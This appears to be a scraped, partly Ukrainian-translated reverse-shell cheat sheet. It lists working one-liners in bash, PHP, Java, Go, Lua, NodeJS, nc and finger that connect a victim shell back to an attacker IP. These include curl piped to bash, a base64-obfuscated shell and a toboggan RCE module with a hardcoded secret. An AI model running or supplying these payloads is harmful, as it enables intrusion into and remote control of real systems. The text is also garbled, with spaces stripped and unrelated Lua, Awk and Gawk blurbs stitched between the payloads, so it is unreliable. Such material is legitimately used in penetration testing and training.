curlhttps://reverse-shell.sh/1.1.1.1:3000|bashbash-i>&/dev/tcp/<ATTACKER-IP>/<PORT>0>&1bash-i>&/dev/udp/127.0.0.1/42420>&1#UDP0<&196;exec196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh<&196>&1962>&196exec5<>/dev/tcp/<ATTACKER-IP>/<PORT>; whilereadline0<&5; do $line 2>&5>&5; done#Short and bypass (credits to Dikline)(sh)0>/dev/tcp/10.10.10.10/9091#after getting the previous shell to get the output to executeexec>&0
Не забудьте перевірити інші оболонки: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh та bash.
Безпечна оболонка з символами
#If you need a more stable connection do:bash-c'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'#Stealthier method#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0echobm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK|base64-d|bash2>/dev/null
Пояснення Shell
bash -i: Ця частина команди запускає інтерактивний (-i) оболонку Bash.
>&: Ця частина команди є скороченою нотацією для перенаправлення як стандартного виводу (stdout) так і стандартної помилки (stderr) до того ж призначення.
/dev/tcp/<ATTACKER-IP>/<PORT>: Це спеціальний файл, який представляє з'єднання TCP з вказаною IP-адресою та портом.
Перенаправляючи потік виводу та потік помилок до цього файлу, команда ефективно відправляє вивід інтерактивної оболонки на машину зловмисника.
0>&1: Ця частина команди перенаправляє стандартний ввід (stdin) до того ж призначення, що й стандартний вивід (stdout).
При роботі з уразливістю Remote Code Execution (RCE) в веб-додатку на основі Linux може бути ускладнено отримання зворотного шелу через захисні мережеві засоби, такі як правила iptables або складні механізми фільтрації пакетів. У таких обмежених середовищах альтернативним підходом є створення PTY (псевдотерміналу) шелу для ефективнішої взаємодії з компромітованою системою.
Рекомендований інструмент для цієї мети - toboggan, який спрощує взаємодію з цільовим середовищем.
Для ефективного використання toboggan створіть модуль Python, спеціально підганятий під контекст RCE вашої цільової системи. Наприклад, модуль з назвою nix.py може бути структурований наступним чином:
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
І після цього ви можете запустити:
toboggan-mnix.py-i
Для безпосереднього використання інтерактивної оболонки. Ви можете додати -b для інтеграції з Burpsuite та видалити -i для більш простого обгортання rce.
Спосіб надсилання навантаження (заголовки? дані? додаткова інформація?)
Після цього ви можете просто надсилати команди або навіть використовувати команду upgrade для отримання повної PTY (зауважте, що канали читаються та записуються з приблизним затримкою 1,3 с).
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.// Using this method may lead to instances where the connection reaches out to the listener and then closes.php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'// Using 'proc_open' makes no assumptions about what the file descriptor will be.// See https://security.stackexchange.com/a/198944 for more information<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?><?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
Java
r=Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Lua
Lua - це легковага, високорівнева мова програмування, яка широко використовується для створення скриптів та розширення функціональності програм. Lua може бути вбудована в інші програми як скриптова мова. Lua використовується в багатьох відомих програмах, таких як World of Warcraft і Adobe Lightroom. Lua має простий синтаксис та потужні можливості, що робить її популярним вибором для розробників.
#Linuxlua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linuxlua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){var net =require("net"),cp =require("child_process"),sh =cp.spawn("/bin/sh", []);var client =newnet.Socket();client.connect(8080,"10.17.26.64",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; // Prevents the Node.js application form crashing})();orrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")or-var x =global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')or// If you get to the constructor of a function you can define and execute another function inside a string"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or// Abuse this syntax to get a reverse shellvar fs =this.process.binding('fs');var fs =process.binding('fs');orhttps://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSL
Атакувальник (Kali)
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response
Awk - це потужний інструмент для обробки тексту в Linux. Він може бути використаний для вибору певних рядків або стовпців з файлу, обчислення значень, форматування виводу та багато іншого.
Щоб відправити команду, запишіть її, натисніть Enter і натисніть CTRL+D (щоб зупинити STDIN)
Жертва
export X=Connected; whiletrue; do X=`eval $(finger "$X"@<IP>2>/dev/null')`; sleep 1; doneexport X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
Gawk
Introduction
Gawk is a powerful programming language that is used for manipulating text files. It is particularly useful for processing and analyzing data in text files.
Basic Usage
To use Gawk, you can simply run the gawk command followed by the script file you want to execute. For example:
gawk-fscript.awkdata.txt
Useful Features
Pattern Matching: Gawk allows you to specify patterns to select specific records for processing.
Variables: You can use variables to store values and perform calculations in Gawk scripts.
Functions: Gawk provides a variety of built-in functions for string manipulation, mathematical operations, and more.
Output Formatting: You can control the output format of your data using Gawk's formatting features.